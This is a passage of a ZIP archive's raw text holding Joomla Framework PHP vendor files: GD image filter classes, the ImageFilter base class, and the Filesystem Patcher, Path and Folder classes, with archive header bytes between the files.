mixed $offset An offset value. * * @return integer * * @since 1.0 */ protected function sanitizeOffset($offset) { return (int) round((float) $offset); } /** * Method to sanitize a width value. * * @param mixed $width The input width value to sanitize. * @param mixed $height The input height value for reference. * * @return integer * * @since 1.0 */ protected function sanitizeWidth($width, $height) { // If no width was given we will assume it is a square and use the height. $width = ($width === null) ? $height : $width; // If we were given a percentage, calculate the integer value. if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $width)) { $width = (int) round($this->getWidth() * (float) str_replace('%', '', $width) / 100); } else { // Else do some rounding so we come out with a sane integer value. $width = (int) round((float) $width); } return $width; } /** * Method to destroy an image handle and free the memory associated with the handle * * @return boolean True on success, false on failure or if no image is loaded * * @since 1.0 */ public function destroy() { if ($this->isLoaded()) { return imagedestroy($this->getHandle()); } return false; } /** * Method to call the destroy() method one last time to free any memory when the object is unset * * @see Image::destroy() * @since 1.0 */ public function __destruct() { $this->destroy(); } /** * Method for set option of generate thumbnail method * * @param boolean $quality True for best quality. False for best speed. * * @return void * * @since 1.4.0 */ public function setThumbnailGenerate($quality = true) { $this->generateBestQuality = (boolean) $quality; } /** * @param mixed $handle A potential image handle * * @return boolean */ private function isValidImage($handle) { // @todo Remove resource check, once PHP7 support is dropped. return (\is_resource($handle) && \get_resource_type($handle) === 'gd') || (\is_object($handle) && $handle instanceof \GDImage); } } PKÜ�\�f���-vendor/joomla/image/src/Filter/Brightness.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use InvalidArgumentException; use Joomla\Image\ImageFilter; /** * Image Filter class adjust the brightness of an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Brightness extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 * @throws InvalidArgumentException */ public function execute(array $options = array()) { // Validate that the brightness value exists and is an integer. if (!isset($options[IMG_FILTER_BRIGHTNESS]) || !\is_int($options[IMG_FILTER_BRIGHTNESS])) { throw new InvalidArgumentException('No valid brightness value was given. Expected integer.'); } // Perform the brightness filter. imagefilter($this->handle, IMG_FILTER_BRIGHTNESS, $options[IMG_FILTER_BRIGHTNESS]); } } PKÜ�\� ��)vendor/joomla/image/src/Filter/Emboss.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use Joomla\Image\ImageFilter; /** * Image Filter class to emboss an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Emboss extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ public function execute(array $options = array()) { // Perform the emboss filter. imagefilter($this->handle, IMG_FILTER_EMBOSS); } } PKÜ�\�SUp� � 1vendor/joomla/image/src/Filter/Backgroundfill.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use InvalidArgumentException; use Joomla\Image\ImageFilter; /** * Image Filter class fill background with color; * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Backgroundfill extends ImageFilter { /** * Method to apply a background color to an image resource. * * @param array $options An array of options for the filter. * color Background matte color * * @return void * * @since 1.0 * @throws InvalidArgumentException */ public function execute(array $options = array()) { // Validate that the color value exists and is an integer. if (!isset($options['color'])) { throw new InvalidArgumentException('No color value was given. Expected string or array.'); } $colorCode = (!empty($options['color'])) ? $options['color'] : null; // Get resource dimensions $width = imagesx($this->handle); $height = imagesy($this->handle); // Sanitize color $rgba = $this->sanitizeColor($colorCode); // Enforce alpha on source image if (imageistruecolor($this->handle)) { imagealphablending($this->handle, false); imagesavealpha($this->handle, true); } // Create background $bg = imagecreatetruecolor($width, $height); imagesavealpha($bg, empty($rgba['alpha'])); // Allocate background color. $color = imagecolorallocatealpha($bg, $rgba['red'], $rgba['green'], $rgba['blue'], $rgba['alpha']); // Fill background imagefill($bg, 0, 0, $color); // Apply image over background imagecopy($bg, $this->handle, 0, 0, 0, 0, $width, $height); // Move flattened result onto curent handle. // If handle was palette-based, it'll stay like that. imagecopy($this->handle, $bg, 0, 0, 0, 0, $width, $height); // Free up memory imagedestroy($bg); } /** * Method to sanitize color values * and/or convert to an array * * @param mixed $input Associative array of colors and alpha, * or hex RGBA string when alpha FF is opaque. * Defaults to black and opaque alpha * * @return array Associative array of red, green, blue and alpha * * @since 1.0 * * @note '#FF0000FF' returns an array with alpha of 0 (opaque) */ protected function sanitizeColor($input) { // Construct default values $colors = array('red' => 0, 'green' => 0, 'blue' => 0, 'alpha' => 0); // Make sure all values are in if (\is_array($input)) { $colors = array_merge($colors, $input); } elseif (\is_string($input)) { // Convert RGBA 6-9 char string $hex = ltrim($input, '#'); $hexValues = array( 'red' => substr($hex, 0, 2), 'green' => substr($hex, 2, 2), 'blue' => substr($hex, 4, 2), 'alpha' => substr($hex, 6, 2), ); $colors = array_map('hexdec', $hexValues); // Convert Alpha to 0..127 when provided if (\strlen($hex) > 6) { $colors['alpha'] = floor((255 - $colors['alpha']) / 2); } } else { // Cannot sanitize such type return $colors; } // Make sure each value is within the allowed range foreach ($colors as &$value) { $value = max(0, min(255, (int) $value)); } $colors['alpha'] = min(127, $colors['alpha']); return $colors; } } PKÜ�\��,vendor/joomla/image/src/Filter/Grayscale.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use Joomla\Image\ImageFilter; /** * Image Filter class to transform an image to grayscale. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Grayscale extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ public function execute(array $options = array()) { // Perform the grayscale filter. imagefilter($this->handle, IMG_FILTER_GRAYSCALE); } } PKÜ�\e�E$$-vendor/joomla/image/src/Filter/Edgedetect.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use Joomla\Image\ImageFilter; /** * Image Filter class to add an edge detect effect to an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Edgedetect extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ public function execute(array $options = array()) { // Perform the edge detection filter. imagefilter($this->handle, IMG_FILTER_EDGEDETECT); } } PKÜ�\*W��)vendor/joomla/image/src/Filter/Negate.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use Joomla\Image\ImageFilter; /** * Image Filter class to negate the colors of an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Negate extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ public function execute(array $options = array()) { // Perform the negative filter. imagefilter($this->handle, IMG_FILTER_NEGATE); } } PKÜ�\�LE*vendor/joomla/image/src/Filter/Sketchy.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use Joomla\Image\ImageFilter; /** * Image Filter class to make an image appear "sketchy". * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Sketchy extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ public function execute(array $options = array()) { // Perform the sketchy filter. imagefilter($this->handle, IMG_FILTER_MEAN_REMOVAL); } } PKÜ�\җ��pp)vendor/joomla/image/src/Filter/Smooth.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use InvalidArgumentException; use Joomla\Image\ImageFilter; /** * Image Filter class adjust the smoothness of an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Smooth extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 * @throws InvalidArgumentException */ public function execute(array $options = array()) { // Validate that the smoothing value exists and is an integer. if (!isset($options[IMG_FILTER_SMOOTH]) || !\is_int($options[IMG_FILTER_SMOOTH])) { throw new InvalidArgumentException('No valid smoothing value was given. Expected integer.'); } // Perform the smoothing filter. imagefilter($this->handle, IMG_FILTER_SMOOTH, $options[IMG_FILTER_SMOOTH]); } } PKÜ�\�=c�uu+vendor/joomla/image/src/Filter/Contrast.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image\Filter; use InvalidArgumentException; use Joomla\Image\ImageFilter; /** * Image Filter class adjust the contrast of an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Contrast extends ImageFilter { /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 * @throws InvalidArgumentException */ public function execute(array $options = array()) { // Validate that the contrast value exists and is an integer. if (!isset($options[IMG_FILTER_CONTRAST]) || !\is_int($options[IMG_FILTER_CONTRAST])) { throw new InvalidArgumentException('No valid contrast value was given. Expected integer.'); } // Perform the contrast filter. imagefilter($this->handle, IMG_FILTER_CONTRAST, $options[IMG_FILTER_CONTRAST]); } } PKÜ�\,���� � 'vendor/joomla/image/src/ImageFilter.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Psr\Log\NullLogger; /** * Class to manipulate an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ abstract class ImageFilter implements LoggerAwareInterface { /** * @var resource|\GdImage The image resource handle. * @since 1.0 */ protected $handle; /** * @var LoggerInterface Logger object * @since 1.0 */ protected $logger; /** * Class constructor. * * @param resource|\GdImage $handle The image resource on which to apply the filter. * * @since 1.0 * @throws \InvalidArgumentException * @throws \RuntimeException */ public function __construct($handle) { // Verify that image filter support for PHP is available. if (!\function_exists('imagefilter')) { // @codeCoverageIgnoreStart $this->getLogger()->error('The imagefilter function for PHP is not available.'); throw new \RuntimeException('The imagefilter function for PHP is not available.'); // @codeCoverageIgnoreEnd } // Make sure the file handle is valid. if (!$this->isValidImage($handle)) { $this->getLogger()->error('The image handle is invalid for the image filter.'); throw new \InvalidArgumentException('The image handle is invalid for the image filter.'); } $this->handle = $handle; } /** * Get the logger. * * @return LoggerInterface * * @since 1.0 */ public function getLogger() { // If a logger hasn't been set, use NullLogger if (! ($this->logger instanceof LoggerInterface)) { $this->logger = new NullLogger; } return $this->logger; } /** * Sets a logger instance on the object * * @param LoggerInterface $logger A PSR-3 compliant logger. * * @return ImageFilter This object for message chaining. * * @since 1.0 */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; return $this; } /** * Method to apply a filter to an image resource. * * @param array $options An array of options for the filter. * * @return void * * @since 1.0 */ abstract public function execute(array $options = array()); /** * @param mixed $handle A potential image handle * * @return boolean */ private function isValidImage($handle) { // @todo Remove resource check, once PHP7 support is dropped. return (\is_resource($handle) && \get_resource_type($handle) === 'gd') || (\is_object($handle) && $handle instanceof \GDImage); } } PKÜ�\�,T3��Tvendor/joomla/filesystem/meta/language/en-GB/en-GB.lib_joomla_filesystem_patcher.ininu�[���; Joomla! Project ; Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt ; Note : All ini files need to be saved as UTF-8 - No BOM JLIB_FILESYSTEM_PATCHER_FAILED_VERIFY="Failed source verification of file %s at line %d" JLIB_FILESYSTEM_PATCHER_INVALID_DIFF="Invalid unified diff block" JLIB_FILESYSTEM_PATCHER_INVALID_INPUT="Invalid input" JLIB_FILESYSTEM_PATCHER_UNEXISTING_SOURCE="Unexisting source file" JLIB_FILESYSTEM_PATCHER_UNEXPECTED_ADD_LINE="Unexpected add line at line %d'" JLIB_FILESYSTEM_PATCHER_UNEXPECTED_EOF="Unexpected end of file" JLIB_FILESYSTEM_PATCHER_UNEXPECTED_REMOVE_LINE="Unexpected remove line at line %d" PKÜ�\�^��-�-(vendor/joomla/filesystem/src/Patcher.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; /** * A Unified Diff Format Patcher class * * @link http://sourceforge.net/projects/phppatcher/ This has been derived from the PhpPatcher version 0.1.1 written by Giuseppe Mazzotta * @since 1.0 */ class Patcher { /** * Regular expression for searching source files * * @var string * @since 1.0 */ const SRC_FILE = '/^---\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A'; /** * Regular expression for searching destination files * * @var string * @since 1.0 */ const DST_FILE = '/^\\+\\+\\+\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A'; /** * Regular expression for searching hunks of differences * * @var string * @since 1.0 */ const HUNK = '/@@ -(\\d+)(,(\\d+))?\\s+\\+(\\d+)(,(\\d+))?\\s+@@($)/A'; /** * Regular expression for splitting lines * * @var string * @since 1.0 */ const SPLIT = '/(\r\n)|(\r)|(\n)/'; /** * Source files * * @var array * @since 1.0 */ protected $sources = array(); /** * Destination files * * @var array * @since 1.0 */ protected $destinations = array(); /** * Removal files * * @var array * @since 1.0 */ protected $removals = array(); /** * Patches * * @var array * @since 1.0 */ protected $patches = array(); /** * Singleton instance of this class * * @var Patcher * @since 1.0 */ protected static $instance; /** * Constructor * * The constructor is protected to force the use of Patcher::getInstance() * * @since 1.0 */ protected function __construct() { } /** * Method to get a patcher * * @return Patcher an instance of the patcher * * @since 1.0 */ public static function getInstance() { if (!isset(static::$instance)) { static::$instance = new static; } return static::$instance; } /** * Reset the patcher * * @return Patcher This object for chaining * * @since 1.0 */ public function reset() { $this->sources = array(); $this->destinations = array(); $this->removals = array(); $this->patches = array(); return $this; } /** * Apply the patches * * @return integer The number of files patched * * @since 1.0 * @throws \RuntimeException */ public function apply() { foreach ($this->patches as $patch) { // Separate the input into lines $lines = self::splitLines($patch['udiff']); // Loop for each header while (self::findHeader($lines, $src, $dst)) { $done = false; if ($patch['strip'] === null) { $src = $patch['root'] . preg_replace('#^([^/]*/)*#', '', $src); $dst = $patch['root'] . preg_replace('#^([^/]*/)*#', '', $dst); } else { $src = $patch['root'] . preg_replace('#^([^/]*/){' . (int) $patch['strip'] . '}#', '', $src); $dst = $patch['root'] . preg_replace('#^([^/]*/){' . (int) $patch['strip'] . '}#', '', $dst); } // Loop for each hunk of differences while (self::findHunk($lines, $srcLine, $srcSize, $dstLine, $dstSize)) { $done = true; // Apply the hunk of differences $this->applyHunk($lines, $src, $dst, $srcLine, $srcSize, $dstLine, $dstSize); } // If no modifications were found, throw an exception if (!$done) { throw new \RuntimeException('Invalid Diff'); } } } // Initialize the counter $done = 0; // Patch each destination file foreach ($this->destinations as $file => $content) { $content = implode("\n", $content); if (File::write($file, $content)) { if (isset($this->sources[$file])) { $this->sources[$file] = $content; } $done++; } } // Remove each removed file foreach ($this->removals as $file) { if (File::delete($file)) { if (isset($this->sources[$file])) { unset($this->sources[$file]); } $done++; } } // Clear the destinations cache $this->destinations = array(); // Clear the removals $this->removals = array(); // Clear the patches $this->patches = array(); return $done; } /** * Add a unified diff file to the patcher * * @param string $filename Path to the unified diff file * @param string $root The files root path * @param integer $strip The number of '/' to strip * * @return Patcher $this for chaining * * @since 1.0 */ public function addFile($filename, $root = JPATH_ROOT, $strip = 0) { return $this->add(file_get_contents($filename), $root, $strip); } /** * Add a unified diff string to the patcher * * @param string $udiff Unified diff input string * @param string $root The files root path * @param integer $strip The number of '/' to strip * * @return Patcher $this for chaining * * @since 1.0 */ public function add($udiff, $root = JPATH_ROOT, $strip = 0) { $this->patches[] = array( 'udiff' => $udiff, 'root' => isset($root) ? rtrim($root, \DIRECTORY_SEPARATOR) . \DIRECTORY_SEPARATOR : '', 'strip' => $strip, ); return $this; } /** * Separate CR or CRLF lines * * @param string $data Input string * * @return array The lines of the input destination file * * @since 1.0 */ protected static function splitLines($data) { return preg_split(self::SPLIT, $data); } /** * Find the diff header * * The internal array pointer of $lines is on the next line after the finding * * @param array $lines The udiff array of lines * @param string $src The source file * @param string $dst The destination file * * @return boolean TRUE in case of success, FALSE in case of failure * * @since 1.0 * @throws \RuntimeException */ protected static function findHeader(&$lines, &$src, &$dst) { // Get the current line $line = current($lines); // Search for the header while ($line !== false && !preg_match(self::SRC_FILE, $line, $m)) { $line = next($lines); } if ($line === false) { // No header found, return false return false; } // Set the source file $src = $m[1]; // Advance to the next line $line = next($lines); if ($line === false) { throw new \RuntimeException('Unexpected EOF'); } // Search the destination file if (!preg_match(self::DST_FILE, $line, $m)) { throw new \RuntimeException('Invalid Diff file'); } // Set the destination file $dst = $m[1]; // Advance to the next line if (next($lines) === false) { throw new \RuntimeException('Unexpected EOF'); } return true; } /** * Find the next hunk of difference * * The internal array pointer of $lines is on the next line after the finding * * @param array $lines The udiff array of lines * @param string $srcLine The beginning of the patch for the source file * @param string $srcSize The size of the patch for the source file * @param string $dstLine The beginning of the patch for the destination file * @param string $dstSize The size of the patch for the destination file * * @return boolean TRUE in case of success, false in case of failure * * @since 1.0 * @throws \RuntimeException */ protected static function findHunk(&$lines, &$srcLine, &$srcSize, &$dstLine, &$dstSize) { $line = current($lines); if (preg_match(self::HUNK, $line, $m)) { $srcLine = (int) $m[1]; if ($m[3] === '') { $srcSize = 1; } else { $srcSize = (int) $m[3]; } $dstLine = (int) $m[4]; if ($m[6] === '') { $dstSize = 1; } else { $dstSize = (int) $m[6]; } if (next($lines) === false) { throw new \RuntimeException('Unexpected EOF'); } return true; } return false; } /** * Apply the patch * * @param array $lines The udiff array of lines * @param string $src The source file * @param string $dst The destination file * @param string $srcLine The beginning of the patch for the source file * @param string $srcSize The size of the patch for the source file * @param string $dstLine The beginning of the patch for the destination file * @param string $dstSize The size of the patch for the destination file * * @return void * * @since 1.0 * @throws \RuntimeException */ protected function applyHunk(&$lines, $src, $dst, $srcLine, $srcSize, $dstLine, $dstSize) { $srcLine--; $dstLine--; $line = current($lines); // Source lines (old file) $source = array(); // New lines (new file) $destin = array(); $srcLeft = $srcSize; $dstLeft = $dstSize; do { if (!isset($line[0])) { $source[] = ''; $destin[] = ''; $srcLeft--; $dstLeft--; } elseif ($line[0] == '-') { if ($srcLeft == 0) { throw new \RuntimeException('Unexpected remove line at line ' . key($lines)); } $source[] = substr($line, 1); $srcLeft--; } elseif ($line[0] == '+') { if ($dstLeft == 0) { throw new \RuntimeException('Unexpected add line at line ' . key($lines)); } $destin[] = substr($line, 1); $dstLeft--; } elseif ($line != '\\ No newline at end of file') { $line = substr($line, 1); $source[] = $line; $destin[] = $line; $srcLeft--; $dstLeft--; } if ($srcLeft == 0 && $dstLeft == 0) { // Now apply the patch, finally! if ($srcSize > 0) { $srcLines = & $this->getSource($src); if (!isset($srcLines)) { throw new \RuntimeException( 'Unexisting source file: ' . Path::removeRoot($src) ); } } if ($dstSize > 0) { if ($srcSize > 0) { $dstLines = & $this->getDestination($dst, $src); $srcBottom = $srcLine + \count($source); for ($l = $srcLine; $l < $srcBottom; $l++) { if ($srcLines[$l] != $source[$l - $srcLine]) { throw new \RuntimeException( sprintf( 'Failed source verification of file %1$s at line %2$s', Path::removeRoot($src), $l ) ); } } array_splice($dstLines, $dstLine, \count($source), $destin); } else { $this->destinations[$dst] = $destin; } } else { $this->removals[] = $src; } next($lines); return; } $line = next($lines); } while ($line !== false); throw new \RuntimeException('Unexpected EOF'); } /** * Get the lines of a source file * * @param string $src The path of a file * * @return array The lines of the source file * * @since 1.0 */ protected function &getSource($src) { if (!isset($this->sources[$src])) { if (is_readable($src)) { $this->sources[$src] = self::splitLines(file_get_contents($src)); } else { $this->sources[$src] = null; } } return $this->sources[$src]; } /** * Get the lines of a destination file * * @param string $dst The path of a destination file * @param string $src The path of a source file * * @return array The lines of the destination file * * @since 1.0 */ protected function &getDestination($dst, $src) { if (!isset($this->destinations[$dst])) { $this->destinations[$dst] = $this->getSource($src); } return $this->destinations[$dst]; } } PKÜ�\���6$$%vendor/joomla/filesystem/src/Path.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; use Joomla\Filesystem\Exception\FilesystemException; if (!\defined('JPATH_ROOT')) { throw new \LogicException('The "JPATH_ROOT" constant must be defined for your application.'); } /** * A Path handling class * * @since 1.0 */ class Path { /** * Checks if a path's permissions can be changed. * * @param string $path Path to check. * * @return boolean True if path can have mode changed. * * @since 1.0 */ public static function canChmod($path) { if (!file_exists($path)) { return false; } $perms = @fileperms($path); if ($perms !== false) { if (@chmod($path, $perms ^ 0001)) { @chmod($path, $perms); return true; } } return false; } /** * Chmods files and directories recursively to given permissions. * * @param string $path Root path to begin changing mode [without trailing slash]. * @param string $filemode Octal representation of the value to change file mode to [null = no change]. * @param string $foldermode Octal representation of the value to change folder mode to [null = no change]. * * @return boolean True if successful [one fail means the whole operation failed]. * * @since 1.0 */ public static function setPermissions($path, $filemode = '0644', $foldermode = '0755') { // Initialise return value $ret = true; if (is_dir($path)) { $dh = @opendir($path); if ($dh) { while ($file = readdir($dh)) { if ($file != '.' && $file != '..') { $fullpath = $path . '/' . $file; if (is_dir($fullpath)) { if (!static::setPermissions($fullpath, $filemode, $foldermode)) { $ret = false; } } else { if (isset($filemode)) { if (!static::canChmod($fullpath) || !@ chmod($fullpath, octdec($filemode))) { $ret = false; } } } } } closedir($dh); } if (isset($foldermode)) { if (!static::canChmod($path) || !@ chmod($path, octdec($foldermode))) { $ret = false; } } } else { if (isset($filemode)) { if (!static::canChmod($path) || !@ chmod($path, octdec($filemode))) { $ret = false; } } } return $ret; } /** * Get the permissions of the file/folder at a give path. * * @param string $path The path of a file/folder. * * @return string Filesystem permissions. * * @since 1.0 */ public static function getPermissions($path) { $path = self::clean($path); $mode = @ decoct(@ fileperms($path) & 0777); if (\strlen($mode) < 3) { return '---------'; } $parsedMode = ''; for ($i = 0; $i < 3; $i++) { // Read $parsedMode .= ($mode[$i] & 04) ? 'r' : '-'; // Write $parsedMode .= ($mode[$i] & 02) ? 'w' : '-'; // Execute $parsedMode .= ($mode[$i] & 01) ? 'x' : '-'; } return $parsedMode; } /** * Checks for snooping outside of the file system root. * * @param string $path A file system path to check. * * @return string A cleaned version of the path or exit on error. * * @since 1.0 * @throws FilesystemException */ public static function check($path) { if (strpos($path, '..') !== false) { throw new FilesystemException( sprintf( '%s() - Use of relative paths not permitted', __METHOD__ ), 20 ); } $path = static::clean($path); if ((JPATH_ROOT != '') && strpos($path, static::clean(JPATH_ROOT)) !== 0) { throw new FilesystemException( sprintf( '%1$s() - Snooping out of bounds @ %2$s (root %3$s)', __METHOD__, $path, JPATH_ROOT ), 20 ); } return $path; } /** * Function to strip additional / or \ in a path name. * * @param string $path The path to clean. * @param string $ds Directory separator (optional). * * @return string The cleaned path. * * @since 1.0 * @throws \UnexpectedValueException If $path is not a string. */ public static function clean($path, $ds = \DIRECTORY_SEPARATOR) { if (!\is_string($path)) { throw new \UnexpectedValueException('JPath::clean $path is not a string.'); } $stream = explode('://', $path, 2); $scheme = ''; $path = $stream[0]; if (\count($stream) >= 2) { $scheme = $stream[0] . '://'; $path = $stream[1]; } $path = trim($path); if (empty($path)) { $path = JPATH_ROOT; } elseif (($ds == '\\') && ($path[0] == '\\') && ($path[1] == '\\')) { // Remove double slashes and backslashes and convert all slashes and backslashes to DIRECTORY_SEPARATOR // If dealing with a UNC path don't forget to prepend the path with a backslash. $path = '\\' . preg_replace('#[/\\\\]+#', $ds, $path); } else { $path = preg_replace('#[/\\\\]+#', $ds, $path); } return $scheme . $path; } /** * Method to determine if script owns the path. * * @param string $path Path to check ownership. * * @return boolean True if the php script owns the path passed. * * @since 1.0 */ public static function isOwner($path) { $tmp = md5(random_bytes(16)); $ssp = ini_get('session.save_path'); $jtp = JPATH_ROOT; // Try to find a writable directory $dir = is_writable('/tmp') ? '/tmp' : false; $dir = (!$dir && is_writable($ssp)) ? $ssp : $dir; $dir = (!$dir && is_writable($jtp)) ? $jtp : $dir; if ($dir) { $test = $dir . '/' . $tmp; // Create the test file $blank = ''; File::write($test, $blank, false); // Test ownership $return = (fileowner($test) == fileowner($path)); // Delete the test file File::delete($test); return $return; } return false; } /** * Searches the directory paths for a given file. * * @param mixed $paths A path string or array of path strings to search in * @param string $file The file name to look for. * * @return string|boolean The full path and file name for the target file, or boolean false if the file is not found in any of the paths. * * @since 1.0 */ public static function find($paths, $file) { // Force to array if (!\is_array($paths) && !($paths instanceof \Iterator)) { settype($paths, 'array'); } // Start looping through the path set foreach ($paths as $path) { // Get the path to the file $fullname = $path . '/' . $file; // Is the path based on a stream? if (strpos($path, '://') === false) { // Not a stream, so do a realpath() to avoid directory // traversal attempts on the local file system. // Needed for substr() later $path = realpath($path); $fullname = realpath($fullname); } /* * The substr() check added to make sure that the realpath() * results in a directory registered so that * non-registered directories are not accessible via directory * traversal attempts. */ if (file_exists($fullname) && substr($fullname, 0, \strlen($path)) == $path) { return $fullname; } } // Could not find the file in the set of paths return false; } /** * Resolves /./, /../ and multiple / in a string and returns the resulting absolute path, inspired by Flysystem * Removes trailing slashes * * @param string $path A path to resolve * * @return string The resolved path * * @since 1.6.0 */ public static function resolve($path) { $path = static::clean($path); // Save start character for absolute path $startCharacter = ($path[0] === DIRECTORY_SEPARATOR) ? DIRECTORY_SEPARATOR : ''; $parts = array(); foreach (explode(DIRECTORY_SEPARATOR, $path) as $part) { switch ($part) { case '': case '.': break; case '..': if (empty($parts)) { throw new FilesystemException('Path is outside of the defined root'); } array_pop($parts); break; default: $parts[] = $part; break; } } return $startCharacter . implode(DIRECTORY_SEPARATOR, $parts); } /** * Remove all references to root directory path and the system tmp path from a message * * @param string $message The message to be cleaned * @param string $rootDirectory Optional root directory, defaults to JPATH_ROOT * * @return string * * @since 1.6.2 */ public static function removeRoot($message, $rootDirectory = null) { if (empty($rootDirectory)) { $rootDirectory = JPATH_ROOT; } $replacements = array( self::makePattern(static::clean($rootDirectory)) => '[ROOT]', self::makePattern(sys_get_temp_dir()) => '[TMP]', ); return preg_replace(array_keys($replacements), array_values($replacements), $message); } /** * Turn directory separators into match classes * * @param string $dir A directory name * * @return string * * @since 1.6.2 */ private static function makePattern($dir) { return '~' . str_replace('~', '\\~', preg_replace('~[/\\\\]+~', '[/\\\\\\\\]+', $dir)) . '~'; } } PKÜ�\ ���n9n9'vendor/joomla/filesystem/src/Folder.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; use Joomla\Filesystem\Exception\FilesystemException; /** * A Folder handling class * * @since 1.0 */ abstract class Folder { /** * Copy a folder. * * @param string $src The path to the source folder. * @param string $dest The path to the destination folder. * @param string $path An optional base path to prefix to the file names. * @param boolean $force Force copy. * @param boolean $useStreams Optionally force folder/file overwrites. * * @return boolean True on success. * * @since 1.0 * @throws FilesystemException */ public static function copy($src, $dest, $path = '', $force = false, $useStreams = false) { @set_time_limit(ini_get('max_execution_time')); if ($path) { $src = Path::clean($path . '/' . $src); $dest = Path::clean($path . '/' . $dest); } // Eliminate trailing directory separators, if any $src = rtrim($src, \DIRECTORY_SEPARATOR); $dest = rtrim($dest, \DIRECTORY_SEPARATOR); if (!is_dir(Path::clean($src))) { throw new FilesystemException('Source folder not found', -1); } if (is_dir(Path::clean($dest)) && !$force) { throw new FilesystemException('Destination folder not found', -1); } // Make sure the destination exists if (!self::create($dest)) { throw new FilesystemException('Cannot create destination folder', -1); } if (!($dh = @opendir($src))) { throw new FilesystemException('Cannot open source folder', -1); } // Walk through the directory copying files and recursing into folders. while (($file = readdir($dh)) !== false) { $sfid = $src . '/' . $file; $dfid = $dest . '/' . $file; switch (filetype($sfid)) { case 'dir': if ($file != '.' && $file != '..') { $ret = self::copy($sfid, $dfid, null, $force, $useStreams); if ($ret !== true) { return $ret; } } break; case 'file': if ($useStreams) { Stream::getStream()->copy($sfid, $dfid); } else { if (!@copy($sfid, $dfid)) { throw new FilesystemException('Copy file failed', -1); } } break; } } return true; } /** * Create a folder -- and all necessary parent folders. * * @param string $path A path to create from the base path. * @param integer $mode Directory permissions to set for folders created. 0755 by default. * * @return boolean True if successful. * * @since 1.0 * @throws FilesystemException */ public static function create($path = '', $mode = 0755) { static $nested = 0; // Check to make 